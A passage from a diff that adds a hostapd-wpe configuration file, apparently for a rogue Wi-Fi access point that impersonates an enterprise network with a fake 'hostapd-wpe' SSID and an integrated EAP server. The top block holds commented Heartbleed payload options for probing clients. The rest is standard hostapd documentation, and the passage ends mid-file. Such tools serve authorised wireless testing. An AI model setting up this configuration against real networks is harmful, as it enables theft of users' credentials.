++server_cert=/etc/hostapd-wpe/server.pem
++private_key=/etc/hostapd-wpe/server.key
++private_key_passwd=whatever
++dh_file=/etc/hostapd-wpe/dh
++
++# 802.11 Options
++ssid=hostapd-wpe
++channel=1
++
++# WPE Options - Dont need to change these to make it all work 
++#
++# wpe_logfile=somefile              # (Default: ./hostapd-wpe.log) 
++# wpe_hb_send_before_handshake=0    # Heartbleed True/False (Default: 1)
++# wpe_hb_send_before_appdata=0      # Heartbleed True/False (Default: 0) 
++# wpe_hb_send_after_appdata=0       # Heartbleed True/False (Default: 0)
++# wpe_hb_payload_size=0             # Heartbleed 0-65535 (Default: 50000)
++# wpe_hb_num_repeats=0              # Heartbleed 0-65535 (Default: 1)
++# wpe_hb_num_tries=0                # Heartbleed 0-65535 (Default: 1)
++
++
++# Dont mess with unless you know what you're doing
++eap_server=1
++eap_fast_a_id=101112131415161718191a1b1c1d1e1f
++eap_fast_a_id_info=hostapd-wpe
++eap_fast_prov=3
++ieee8021x=1
++pac_key_lifetime=604800
++pac_key_refresh_time=86400
++pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
++wpa=2
++wpa_key_mgmt=WPA-EAP
++wpa_pairwise=CCMP
++rsn_pairwise=CCMP
++
++##############################################################################
++# Everything below this line is pretty much the standard hostapd.conf
++###############################################################################
++
++##### hostapd configuration file ##############################################
++# Empty lines and lines starting with # are ignored
++
++# AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
++# management frames with the Host AP driver); wlan0 with many nl80211 drivers
++# Note: This attribute can be overridden by the values supplied with the '-i'
++# command line parameter.
++#interface=wlan0
++
++# In case of atheros and nl80211 driver interfaces, an additional
++# configuration parameter, bridge, may be used to notify hostapd if the
++# interface is included in a bridge. This parameter is not used with Host AP
++# driver. If the bridge parameter is not set, the drivers will automatically
++# figure out the bridge interface (assuming sysfs is enabled and mounted to
++# /sys) and this parameter may not be needed.
++#
++# For nl80211, this parameter can be used to request the AP interface to be
++# added to the bridge automatically (brctl may refuse to do this before hostapd
++# has been started to change the interface mode). If needed, the bridge
++# interface is also created.
++#bridge=br0
++
++# Driver interface type (hostap/wired/none/nl80211/bsd);
++# default: hostap). nl80211 is used with all Linux mac80211 drivers.
++# Use driver=none if building hostapd as a standalone RADIUS server that does
++# not control any wireless/wired driver.
++# driver=hostap
++
++# Driver interface parameters (mainly for development testing use)
++# driver_params=<params>
++
++# hostapd event logger configuration
++#
++# Two output method: syslog and stdout (only usable if not forking to
++# background).
++#
++# Module bitfield (ORed bitfield of modules that will be logged; -1 = all
++# modules):
++# bit 0 (1) = IEEE 802.11
++# bit 1 (2) = IEEE 802.1X
++# bit 2 (4) = RADIUS
++# bit 3 (8) = WPA
++# bit 4 (16) = driver interface
++# bit 5 (32) = IAPP
++# bit 6 (64) = MLME
++#
++# Levels (minimum value for logged events):
++#  0 = verbose debugging
++#  1 = debugging
++#  2 = informational messages
++#  3 = notification
++#  4 = warning
++#
++logger_syslog=-1
++logger_syslog_level=2
++logger_stdout=-1
++logger_stdout_level=2
++
++# Interface for separate control program. If this is specified, hostapd
++# will create this directory and a UNIX domain socket for listening to requests
++# from external programs (CLI/GUI, etc.) for status information and
++# configuration. The socket file will be named based on the interface name, so
++# multiple hostapd processes/interfaces can be run at the same time if more
++# than one interface is used.
++# /var/run/hostapd is the recommended directory for sockets and by default,
++# hostapd_cli will use it when trying to connect with hostapd.
++ctrl_interface=/var/run/hostapd
++
++# Access control for the control interface can be configured by setting the
++# directory to allow only members of a group to use sockets. This way, it is
++# possible to run hostapd as root (since it needs to change network
++# configuration and open raw sockets) and still allow GUI/CLI components to be
++# run as non-root users. However, since the control interface can be used to
++# change the network configuration, this access needs to be protected in many
++# cases. By default, hostapd is configured to use gid 0 (root). If you
++# want to allow non-root users to use the contron interface, add a new group
++# and change this value to match with that group. Add users that should have
++# control interface access to this group.
++#
++# This variable can be a group name or gid.
++#ctrl_interface_group=wheel
++ctrl_interface_group=0
++
++
++##### IEEE 802.11 related configuration #######################################
++
++# SSID to be used in IEEE 802.11 management frames
++#ssid=test
++# Alternative formats for configuring SSID
++# (double quoted string, hexdump, printf-escaped string)
++#ssid2="test"
++#ssid2=74657374
++#ssid2=P"hello\nthere"
++
++# UTF-8 SSID: Whether the SSID is to be interpreted using UTF-8 encoding
++#utf8_ssid=1
++
++# Country code (ISO/IEC 3166-1). Used to set regulatory domain.
++# Set as needed to indicate country in which device is operating.
++# This can limit available channels and transmit power.
++#country_code=US
++
++# Enable IEEE 802.11d. This advertises the country_code and the set of allowed
++# channels and transmit power levels based on the regulatory limits. The
++# country_code setting must be configured with the correct country for
++# IEEE 802.11d functions.
++# (default: 0 = disabled)
++#ieee80211d=1
++
++# Enable IEEE 802.11h. This enables radar detection and DFS support if
++# available. DFS support is required on outdoor 5 GHz channels in most countries
++# of the world. This can be used only with ieee80211d=1.
++# (default: 0 = disabled)
++#ieee80211h=1
++
++# Add Power Constraint element to Beacon and Probe Response frames
++# This config option adds Power Constraint element when applicable and Country
++# element is added. Power Constraint element is required by Transmit Power
++# Control. This can be used only with ieee80211d=1.
++# Valid values are 0..255.
++#local_pwr_constraint=3
++
++# Set Spectrum Management subfield in the Capability Information field.
++# This config option forces the Spectrum Management bit to be set. When this
++# option is not set, the value of the Spectrum Management bit depends on whether
++# DFS or TPC is required by regulatory authorities. This can be used only with
++# ieee80211d=1 and local_pwr_constraint configured.
++#spectrum_mgmt_required=1
++
++# Operation mode (a = IEEE 802.11a (5 GHz), b = IEEE 802.11b (2.4 GHz),
++# g = IEEE 802.11g (2.4 GHz), ad = IEEE 802.11ad (60 GHz); a/g options are used
++# with IEEE 802.11n (HT), too, to specify band). For IEEE 802.11ac (VHT), this
++# needs to be set to hw_mode=a. When using ACS (see channel parameter), a
++# special value "any" can be used to indicate that any support band can be used.
++# This special case is currently supported only with drivers with which
++# offloaded ACS is used.
++# Default: IEEE 802.11b
++hw_mode=g
++
++# Channel number (IEEE 802.11)
++# (default: 0, i.e., not set)
++# Please note that some drivers do not use this value from hostapd and the
++# channel will need to be configured separately with iwconfig.
++#
++# If CONFIG_ACS build option is enabled, the channel can be selected
++# automatically at run time by setting channel=acs_survey or channel=0, both of
++# which will enable the ACS survey based algorithm.
++#channel=1
++
++# ACS tuning - Automatic Channel Selection
++# See: http://wireless.kernel.org/en/users/Documentation/acs
++#
++# You can customize the ACS survey algorithm with following variables:
++#
++# acs_num_scans requirement is 1..100 - number of scans to be performed that
++# are used to trigger survey data gathering of an underlying device driver.
++# Scans are passive and typically take a little over 100ms (depending on the
++# driver) on each available channel for given hw_mode. Increasing this value
++# means sacrificing startup time and gathering more data wrt channel
++# interference that may help choosing a better channel. This can also help fine
++# tune the ACS scan time in case a driver has different scan dwell times.
++#
++# acs_chan_bias is a space-separated list of <channel>:<bias> pairs. It can be
++# used to increase (or decrease) the likelihood of a specific channel to be
++# selected by the ACS algorithm. The total interference factor for each channel
++# gets multiplied by the specified bias value before finding the channel with
++# the lowest value. In other words, values between 0.0 and 1.0 can be used to
++# make a channel more likely to be picked while values larger than 1.0 make the
++# specified channel less likely to be picked. This can be used, e.g., to prefer
++# the commonly used 2.4 GHz band channels 1, 6, and 11 (which is the default
++# behavior on 2.4 GHz band if no acs_chan_bias parameter is specified).
++#
++# Defaults:
++#acs_num_scans=5
++#acs_chan_bias=1:0.8 6:0.8 11:0.8
++
++# Channel list restriction. This option allows hostapd to select one of the
++# provided channels when a channel should be automatically selected.
++# Channel list can be provided as range using hyphen ('-') or individual
++# channels can be specified by space (' ') separated values
++# Default: all channels allowed in selected hw_mode
++#chanlist=100 104 108 112 116
++#chanlist=1 6 11-13
++
++# Beacon interval in kus (1.024 ms) (default: 100; range 15..65535)
++beacon_int=100
++
++# DTIM (delivery traffic information message) period (range 1..255):
++# number of beacons between DTIMs (1 = every beacon includes DTIM element)
++# (default: 2)
++dtim_period=2
++
++# Maximum number of stations allowed in station table. New stations will be
++# rejected after the station table is full. IEEE 802.11 has a limit of 2007
++# different association IDs, so this number should not be larger than that.
++# (default: 2007)
++max_num_sta=255
++
++# RTS/CTS threshold; -1 = disabled (default); range -1..65535
++# If this field is not included in hostapd.conf, hostapd will not control
++# RTS threshold and 'iwconfig wlan# rts <val>' can be used to set it.
++rts_threshold=-1
++
++# Fragmentation threshold; -1 = disabled (default); range -1, 256..2346
++# If this field is not included in hostapd.conf, hostapd will not control
++# fragmentation threshold and 'iwconfig wlan# frag <val>' can be used to set
++# it.
++fragm_threshold=-1
++
++# Rate configuration
++# Default is to enable all rates supported by the hardware. This configuration
++# item allows this list be filtered so that only the listed rates will be left
++# in the list. If the list is empty, all rates are used. This list can have
++# entries that are not in the list of rates the hardware supports (such entries
++# are ignored). The entries in this list are in 100 kbps, i.e., 11 Mbps = 110.
++# If this item is present, at least one rate have to be matching with the rates
++# hardware supports.
++# default: use the most common supported rate setting for the selected
++# hw_mode (i.e., this line can be removed from configuration file in most
++# cases)
++#supported_rates=10 20 55 110 60 90 120 180 240 360 480 540
++
++# Basic rate set configuration
++# List of rates (in 100 kbps) that are included in the basic rate set.
++# If this item is not included, usually reasonable default set is used.
++#basic_rates=10 20
++#basic_rates=10 20 55 110
++#basic_rates=60 120 240
++
++# Short Preamble
++# This parameter can be used to enable optional use of short preamble for
++# frames sent at 2 Mbps, 5.5 Mbps, and 11 Mbps to improve network performance.
++# This applies only to IEEE 802.11b-compatible networks and this should only be
++# enabled if the local hardware supports use of short preamble. If any of the
++# associated STAs do not support short preamble, use of short preamble will be
++# disabled (and enabled when such STAs disassociate) dynamically.
++# 0 = do not allow use of short preamble (default)
++# 1 = allow use of short preamble
++#preamble=1
++
++# Station MAC address -based authentication
++# Please note that this kind of access control requires a driver that uses
++# hostapd to take care of management frame processing and as such, this can be
++# used with driver=hostap or driver=nl80211, but not with driver=atheros.
++# 0 = accept unless in deny list
++# 1 = deny unless in accept list
++# 2 = use external RADIUS server (accept/deny lists are searched first)
++macaddr_acl=0
++
++# Accept/deny lists are read from separate files (containing list of
++# MAC addresses, one per line). Use absolute path name to make sure that the
++# files can be read on SIGHUP configuration reloads.
++#accept_mac_file=/etc/hostapd.accept
++#deny_mac_file=/etc/hostapd.deny
++
++# IEEE 802.11 specifies two authentication algorithms. hostapd can be
++# configured to allow both of these or only one. Open system authentication
++# should be used with IEEE 802.1X.
++# Bit fields of allowed authentication algorithms:
++# bit 0 = Open System Authentication
++# bit 1 = Shared Key Authentication (requires WEP)
++auth_algs=3
++
++# Send empty SSID in beacons and ignore probe request frames that do not
++# specify full SSID, i.e., require stations to know SSID.
++# default: disabled (0)
++# 1 = send empty (length=0) SSID in beacon and ignore probe request for
++#     broadcast SSID
++# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
++#     with some clients that do not support empty SSID) and ignore probe
++#     requests for broadcast SSID
++ignore_broadcast_ssid=0
++
++# Do not reply to broadcast Probe Request frames from unassociated STA if there
++# is no room for additional stations (max_num_sta). This can be used to
++# discourage a STA from trying to associate with this AP if the association
++# would be rejected due to maximum STA limit.
++# Default: 0 (disabled)
++#no_probe_resp_if_max_sta=0
++
++# Additional vendor specific elements for Beacon and Probe Response frames
++# This parameter can be used to add additional vendor specific element(s) into
++# the end of the Beacon and Probe Response frames. The format for these
++# element(s) is a hexdump of the raw information elements (id+len+payload for
++# one or more elements)
++#vendor_elements=dd0411223301
++
++# Additional vendor specific elements for (Re)Association Response frames
++# This parameter can be used to add additional vendor specific element(s) into
++# the end of the (Re)Association Response frames. The format for these
++# element(s) is a hexdump of the raw information elements (id+len+payload for
++# one or more elements)
++#assocresp_elements=dd0411223301
++
++# TX queue parameters (EDCF / bursting)
++# tx_queue_<queue name>_<param>
++# queues: data0, data1, data2, data3, after_beacon, beacon
++#		(data0 is the highest priority queue)
++# parameters:
++#   aifs: AIFS (default 2)
++#   cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191,
++#	   16383, 32767)
++#   cwmax: cwMax (same values as cwMin, cwMax >= cwMin)
++#   burst: maximum length (in milliseconds with precision of up to 0.1 ms) for
++#          bursting
++#
++# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
++# These parameters are used by the access point when transmitting frames
++# to the clients.
++#
++# Low priority / AC_BK = background
++#tx_queue_data3_aifs=7
++#tx_queue_data3_cwmin=15
++#tx_queue_data3_cwmax=1023
++#tx_queue_data3_burst=0
++# Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0
++#
++# Normal priority / AC_BE = best effort
++#tx_queue_data2_aifs=3
++#tx_queue_data2_cwmin=15
++#tx_queue_data2_cwmax=63
++#tx_queue_data2_burst=0
++# Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0
++#
++# High priority / AC_VI = video
++#tx_queue_data1_aifs=1
++#tx_queue_data1_cwmin=7
++#tx_queue_data1_cwmax=15
++#tx_queue_data1_burst=3.0
++# Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0
++#
++# Highest priority / AC_VO = voice
++#tx_queue_data0_aifs=1
++#tx_queue_data0_cwmin=3
++#tx_queue_data0_cwmax=7
++#tx_queue_data0_burst=1.5
++# Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3
++
++# 802.1D Tag (= UP) to AC mappings
++# WMM specifies following mapping of data frames to different ACs. This mapping
++# can be configured using Linux QoS/tc and sch_pktpri.o module.
++# 802.1D Tag	802.1D Designation	Access Category	WMM Designation
++# 1		BK			AC_BK		Background
++# 2		-			AC_BK		Background
++# 0		BE			AC_BE		Best Effort
++# 3		EE			AC_BE		Best Effort
++# 4		CL			AC_VI		Video
++# 5		VI			AC_VI		Video
++# 6		VO			AC_VO		Voice
++# 7		NC			AC_VO		Voice
++# Data frames with no priority information: AC_BE
++# Management frames: AC_VO
++# PS-Poll frames: AC_BE
++
++# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
++# for 802.11a or 802.11g networks
++# These parameters are sent to WMM clients when they associate.
++# The parameters will be used by WMM clients for frames transmitted to the
++# access point.
++#
++# note - txop_limit is in units of 32microseconds
++# note - acm is admission control mandatory flag. 0 = admission control not
++# required, 1 = mandatory
++# note - Here cwMin and cmMax are in exponent form. The actual cw value used
++# will be (2^n)-1 where n is the value given here. The allowed range for these
++# wmm_ac_??_{cwmin,cwmax} is 0..15 with cwmax >= cwmin.
++#
++wmm_enabled=1
++#
++# WMM-PS Unscheduled Automatic Power Save Delivery [U-APSD]
++# Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver)
++#uapsd_advertisement_enabled=1
++#
++# Low priority / AC_BK = background
++wmm_ac_bk_cwmin=4
++wmm_ac_bk_cwmax=10
++wmm_ac_bk_aifs=7
++wmm_ac_bk_txop_limit=0
++wmm_ac_bk_acm=0
++# Note: for IEEE 802.11b mode: cWmin=5 cWmax=10
++#
++# Normal priority / AC_BE = best effort
++wmm_ac_be_aifs=3
++wmm_ac_be_cwmin=4
++wmm_ac_be_cwmax=10
++wmm_ac_be_txop_limit=0
++wmm_ac_be_acm=0
++# Note: for IEEE 802.11b mode: cWmin=5 cWmax=7
++#
++# High priority / AC_VI = video
++wmm_ac_vi_aifs=2
++wmm_ac_vi_cwmin=3
++wmm_ac_vi_cwmax=4
++wmm_ac_vi_txop_limit=94
++wmm_ac_vi_acm=0
++# Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188
++#
++# Highest priority / AC_VO = voice
++wmm_ac_vo_aifs=2
++wmm_ac_vo_cwmin=2
++wmm_ac_vo_cwmax=3
++wmm_ac_vo_txop_limit=47
++wmm_ac_vo_acm=0
++# Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102
++
++# Static WEP key configuration
++#
++# The key number to use when transmitting.
++# It must be between 0 and 3, and the corresponding key must be set.
++# default: not set
++#wep_default_key=0
++# The WEP keys to use.
++# A key may be a quoted string or unquoted hexadecimal digits.
++# The key length should be 5, 13, or 16 characters, or 10, 26, or 32
++# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or
++# 128-bit (152-bit) WEP is used.
++# Only the default key must be supplied; the others are optional.
++# default: not set
++#wep_key0=123456789a
++#wep_key1="vwxyz"
++#wep_key2=0102030405060708090a0b0c0d
++#wep_key3=".2.4.6.8.0.23"
++
++# Station inactivity limit
++#
++# If a station does not send anything in ap_max_inactivity seconds, an
++# empty data frame is sent to it in order to verify whether it is
++# still in range. If this frame is not ACKed, the station will be
++# disassociated and then deauthenticated. This feature is used to
++# clear station table of old entries when the STAs move out of the
++# range.
++#
++# The station can associate again with the AP if it is still in range;
++# this inactivity poll is just used as a nicer way of verifying
++# inactivity; i.e., client will not report broken connection because
++# disassociation frame is not sent immediately without first polling
++# the STA with a data frame.
++# default: 300 (i.e., 5 minutes)
++#ap_max_inactivity=300
++#
++# The inactivity polling can be disabled to disconnect stations based on
++# inactivity timeout so that idle stations are more likely to be disconnected
++# even if they are still in range of the AP. This can be done by setting
++# skip_inactivity_poll to 1 (default 0).
++#skip_inactivity_poll=0
++
++# Disassociate stations based on excessive transmission failures or other
++# indications of connection loss. This depends on the driver capabilities and
++# may not be available with all drivers.
++#disassoc_low_ack=1
++
++# Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to
++# remain asleep). Default: 65535 (no limit apart from field size)
++#max_listen_interval=100
++
++# WDS (4-address frame) mode with per-station virtual interfaces
++# (only supported with driver=nl80211)
++# This mode allows associated stations to use 4-address frames to allow layer 2
++# bridging to be used.
++#wds_sta=1
++
++# If bridge parameter is set, the WDS STA interface will be added to the same
++# bridge by default. This can be overridden with the wds_bridge parameter to
++# use a separate bridge.
++#wds_bridge=wds-br0
++
++# Start the AP with beaconing disabled by default.
++#start_disabled=0
++
++# Client isolation can be used to prevent low-level bridging of frames between
++# associated stations in the BSS. By default, this bridging is allowed.
++#ap_isolate=1
++
++# BSS Load update period (in BUs)
++# This field is used to enable and configure adding a BSS Load element into
++# Beacon and Probe Response frames.
++#bss_load_update_period=50
++
++# Fixed BSS Load value for testing purposes
++# This field can be used to configure hostapd to add a fixed BSS Load element
++# into Beacon and Probe Response frames for testing purposes. The format is
++# <station count>:<channel utilization>:<available admission capacity>
++#bss_load_test=12:80:20000
++
++##### IEEE 802.11n related configuration ######################################
++
++# ieee80211n: Whether IEEE 802.11n (HT) is enabled
++# 0 = disabled (default)
++# 1 = enabled
++# Note: You will also need to enable WMM for full HT functionality.
++# Note: hw_mode=g (2.4 GHz) and hw_mode=a (5 GHz) is used to specify the band.
++#ieee80211n=1
++
++# ht_capab: HT capabilities (list of flags)
++# LDPC coding capability: [LDPC] = supported
++# Supported channel width set: [HT40-] = both 20 MHz and 40 MHz with secondary
++#	channel below the primary channel; [HT40+] = both 20 MHz and 40 MHz
++#	with secondary channel above the primary channel
++#	(20 MHz only if neither is set)
++#	Note: There are limits on which channels can be used with HT40- and
++#	HT40+. Following table shows the channels that may be available for
++#	HT40- and HT40+ use per IEEE 802.11n Annex J:
++#	freq		HT40-		HT40+
++#	2.4 GHz		5-13		1-7 (1-9 in Europe/Japan)
++#	5 GHz		40,48,56,64	36,44,52,60
++#	(depending on the location, not all of these channels may be available
++#	for use)
++#	Please note that 40 MHz channels may switch their primary and secondary
++#	channels if needed or creation of 40 MHz channel maybe rejected based
++#	on overlapping BSSes. These changes are done automatically when hostapd
++#	is setting up the 40 MHz channel.
++# Spatial Multiplexing (SM) Power Save: [SMPS-STATIC] or [SMPS-DYNAMIC]
++#	(SMPS disabled if neither is set)
++# HT-greenfield: [GF] (disabled if not set)
++# Short GI for 20 MHz: [SHORT-GI-20] (disabled if not set)
++# Short GI for 40 MHz: [SHORT-GI-40] (disabled if not set)
++# Tx STBC: [TX-STBC] (disabled if not set)
++# Rx STBC: [RX-STBC1] (one spatial stream), [RX-STBC12] (one or two spatial
++#	streams), or [RX-STBC123] (one, two, or three spatial streams); Rx STBC
++#	disabled if none of these set
++# HT-delayed Block Ack: [DELAYED-BA] (disabled if not set)
++# Maximum A-MSDU length: [MAX-AMSDU-7935] for 7935 octets (3839 octets if not
++#	set)
++# DSSS/CCK Mode in 40 MHz: [DSSS_CCK-40] = allowed (not allowed if not set)
++# 40 MHz intolerant [40-INTOLERANT] (not advertised if not set)
++# L-SIG TXOP protection support: [LSIG-TXOP-PROT] (disabled if not set)
++#ht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40]
++
++# Require stations to support HT PHY (reject association if they do not)
++#require_ht=1
++
++# If set non-zero, require stations to perform scans of overlapping
++# channels to test for stations which would be affected by 40 MHz traffic.
++# This parameter sets the interval in seconds between these scans. Setting this
++# to non-zero allows 2.4 GHz band AP to move dynamically to a 40 MHz channel if
++# no co-existence issues with neighboring devices are found.
++#obss_interval=0
++
++##### IEEE 802.11ac related configuration #####################################
++
++# ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled
++# 0 = disabled (default)
++# 1 = enabled
++# Note: You will also need to enable WMM for full VHT functionality.
++# Note: hw_mode=a is used to specify that 5 GHz band is used with VHT.
++#ieee80211ac=1
++
++# vht_capab: VHT capabilities (list of flags)
++#
++# vht_max_mpdu_len: [MAX-MPDU-7991] [MAX-MPDU-11454]
++# Indicates maximum MPDU length
++# 0 = 3895 octets (default)
++# 1 = 7991 octets
++# 2 = 11454 octets
++# 3 = reserved
++#
++# supported_chan_width: [VHT160] [VHT160-80PLUS80]
++# Indicates supported Channel widths
++# 0 = 160 MHz & 80+80 channel widths are not supported (default)
++# 1 = 160 MHz channel width is supported
++# 2 = 160 MHz & 80+80 channel widths are supported
++# 3 = reserved
++#
++# Rx LDPC coding capability: [RXLDPC]
++# Indicates support for receiving LDPC coded pkts
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Short GI for 80 MHz: [SHORT-GI-80]
++# Indicates short GI support for reception of packets transmitted with TXVECTOR
++# params format equal to VHT and CBW = 80Mhz
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Short GI for 160 MHz: [SHORT-GI-160]
++# Indicates short GI support for reception of packets transmitted with TXVECTOR
++# params format equal to VHT and CBW = 160Mhz
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Tx STBC: [TX-STBC-2BY1]
++# Indicates support for the transmission of at least 2x1 STBC
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Rx STBC: [RX-STBC-1] [RX-STBC-12] [RX-STBC-123] [RX-STBC-1234]
++# Indicates support for the reception of PPDUs using STBC
++# 0 = Not supported (default)
++# 1 = support of one spatial stream
++# 2 = support of one and two spatial streams
++# 3 = support of one, two and three spatial streams
++# 4 = support of one, two, three and four spatial streams
++# 5,6,7 = reserved
++#
++# SU Beamformer Capable: [SU-BEAMFORMER]
++# Indicates support for operation as a single user beamformer
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# SU Beamformee Capable: [SU-BEAMFORMEE]
++# Indicates support for operation as a single user beamformee
++# 0 = Not supported (default)
++# 1 = Supported
++#
++# Compressed Steering Number of Beamformer Antennas Supported:
++# [BF-ANTENNA-2] [BF-ANTENNA-3] [BF-ANTENNA-4]
++#   Beamformee's capability indicating the maximum number of beamformer
++#   antennas the beamformee can support when sending compressed beamforming
++#   feedback
++# If SU beamformer capable, set to maximum value minus 1
++# else reserved (default)
++#
++# Number of Sounding Dimensions:
++# [SOUNDING-DIMENSION-2] [SOUNDING-DIMENSION-3] [SOUNDING-DIMENSION-4]
++# Beamformer's capability indicating the maximum value of the NUM_STS parameter
++# in the TXVECTOR of a VHT NDP
++# If SU beamformer capable, set to maximum value minus 1
++# else reserved (default)
++#
++# MU Beamformer Capable: [MU-BEAMFORMER]
++# Indicates support for operation as an MU beamformer
++# 0 = Not supported or sent by Non-AP STA (default)
++# 1 = Supported
++#
++# VHT TXOP PS: [VHT-TXOP-PS]
++# Indicates whether or not the AP supports VHT TXOP Power Save Mode
++#  or whether or not the STA is in VHT TXOP Power Save mode
++# 0 = VHT AP doesn't support VHT TXOP PS mode (OR) VHT STA not in VHT TXOP PS
++#  mode
++# 1 = VHT AP supports VHT TXOP PS mode (OR) VHT STA is in VHT TXOP power save
++#  mode
++#
++# +HTC-VHT Capable: [HTC-VHT]
++# Indicates whether or not the STA supports receiving a VHT variant HT Control
++# field.
++# 0 = Not supported (default)
++# 1 = supported
++#
++# Maximum A-MPDU Length Exponent: [MAX-A-MPDU-LEN-EXP0]..[MAX-A-MPDU-LEN-EXP7]
++# Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv
++# This field is an integer in the range of 0 to 7.
++# The length defined by this field is equal to
++# 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets
++#
++# VHT Link Adaptation Capable: [VHT-LINK-ADAPT2] [VHT-LINK-ADAPT3]
++# Indicates whether or not the STA supports link adaptation using VHT variant
++# HT Control field
++# If +HTC-VHTcapable is 1
++#  0 = (no feedback) if the STA does not provide VHT MFB (default)
++#  1 = reserved
++#  2 = (Unsolicited) if the STA provides only unsolicited VHT MFB
++#  3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the
++#      STA provides unsolicited VHT MFB
++# Reserved if +HTC-VHTcapable is 0
++#
++# Rx Antenna Pattern Consistency: [RX-ANTENNA-PATTERN]
++# Indicates the possibility of Rx antenna pattern change
++# 0 = Rx antenna pattern might change during the lifetime of an association
++# 1 = Rx antenna pattern does not change during the lifetime of an association
++#
++# Tx Antenna Pattern Consistency: [TX-ANTENNA-PATTERN]
++# Indicates the possibility of Tx antenna pattern change
++# 0 = Tx antenna pattern might change during the lifetime of an association
++# 1 = Tx antenna pattern does not change during the lifetime of an association
++#vht_capab=[SHORT-GI-80][HTC-VHT]
++#
++# Require stations to support VHT PHY (reject association if they do not)
++#require_vht=1
++
++# 0 = 20 or 40 MHz operating Channel width
++# 1 = 80 MHz channel width
++# 2 = 160 MHz channel width
++# 3 = 80+80 MHz channel width
++#vht_oper_chwidth=1
++#
++# center freq = 5 GHz + (5 * index)
++# So index 42 gives center freq 5.210 GHz
++# which is channel 42 in 5G band
++#
++#vht_oper_centr_freq_seg0_idx=42
++#
++# center freq = 5 GHz + (5 * index)
++# So index 159 gives center freq 5.795 GHz
++# which is channel 159 in 5G band
++#
++#vht_oper_centr_freq_seg1_idx=159
++
++# Workaround to use station's nsts capability in (Re)Association Response frame
++# This may be needed with some deployed devices as an interoperability
++# workaround for beamforming if the AP's capability is greater than the
++# station's capability. This is disabled by default and can be enabled by
++# setting use_sta_nsts=1.
++#use_sta_nsts=0
++
++##### IEEE 802.1X-2004 related configuration ##################################
++
++# Require IEEE 802.1X authorization
++#ieee8021x=1
++
++# IEEE 802.1X/EAPOL version
++# hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
++# version 2. However, there are many client implementations that do not handle
++# the new version number correctly (they seem to drop the frames completely).
++# In order to make hostapd interoperate with these clients, the version number
++# can be set to the older version (1) with this configuration value.
++#eapol_version=2
++
++# Optional displayable message sent with EAP Request-Identity. The first \0
++# in this string will be converted to ASCII-0 (nul). This can be used to
++# separate network info (comma separated list of attribute=value pairs); see,
++# e.g., RFC 4284.
++#eap_message=hello
++#eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com
++
++# WEP rekeying (disabled if key lengths are not set or are set to 0)
++# Key lengths for default/broadcast and individual/unicast keys:
++# 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits)
++# 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits)
++#wep_key_len_broadcast=5
++#wep_key_len_unicast=5
++# Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once)
++#wep_rekey_period=300
++
++# EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if
++# only broadcast keys are used)
++eapol_key_index_workaround=0
++
++# EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable
++# reauthentication).
++#eap_reauth_period=3600
++
++# Use PAE group address (01:80:c2:00:00:03) instead of individual target
++# address when sending EAPOL frames with driver=wired. This is the most common
++# mechanism used in wired authentication, but it also requires that the port
++# is only used by one station.
++#use_pae_group_addr=1
++
++# EAP Re-authentication Protocol (ERP) authenticator (RFC 6696)
++#
++# Whether to initiate EAP authentication with EAP-Initiate/Re-auth-Start before
++# EAP-Identity/Request
++#erp_send_reauth_start=1
++#
++# Domain name for EAP-Initiate/Re-auth-Start. Omitted from the message if not
++# set (no local ER server). This is also used by the integrated EAP server if
++# ERP is enabled (eap_server_erp=1).
++#erp_domain=example.com
++
++##### Integrated EAP server ###################################################
++
++# Optionally, hostapd can be configured to use an integrated EAP server
++# to process EAP authentication locally without need for an external RADIUS
++# server. This functionality can be used both as a local authentication server
++# for IEEE 802.1X/EAPOL and as a RADIUS server for other devices.
++
++# Use integrated EAP server instead of external RADIUS authentication
++# server. This is also needed if hostapd is configured to act as a RADIUS
++# authentication server.
++#eap_server=0
++
++# Path for EAP server user database
++# If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db"
++# to use SQLite database instead of a text file.
++#eap_user_file=/etc/hostapd.eap_user
++
++# CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
++#ca_cert=/etc/hostapd.ca.pem
++
++# Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
++#server_cert=/etc/hostapd.server.pem
++
++# Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
++# This may point to the same file as server_cert if both certificate and key
++# are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be
++# used by commenting out server_cert and specifying the PFX file as the
++# private_key.
++#private_key=/etc/hostapd.server.prv
++
++# Passphrase for private key
++#private_key_passwd=secret passphrase
++
++# Server identity
++# EAP methods that provide mechanism for authenticated server identity delivery
++# use this value. If not set, "hostapd" is used as a default.
++#server_id=server.example.com
++
++# Enable CRL verification.
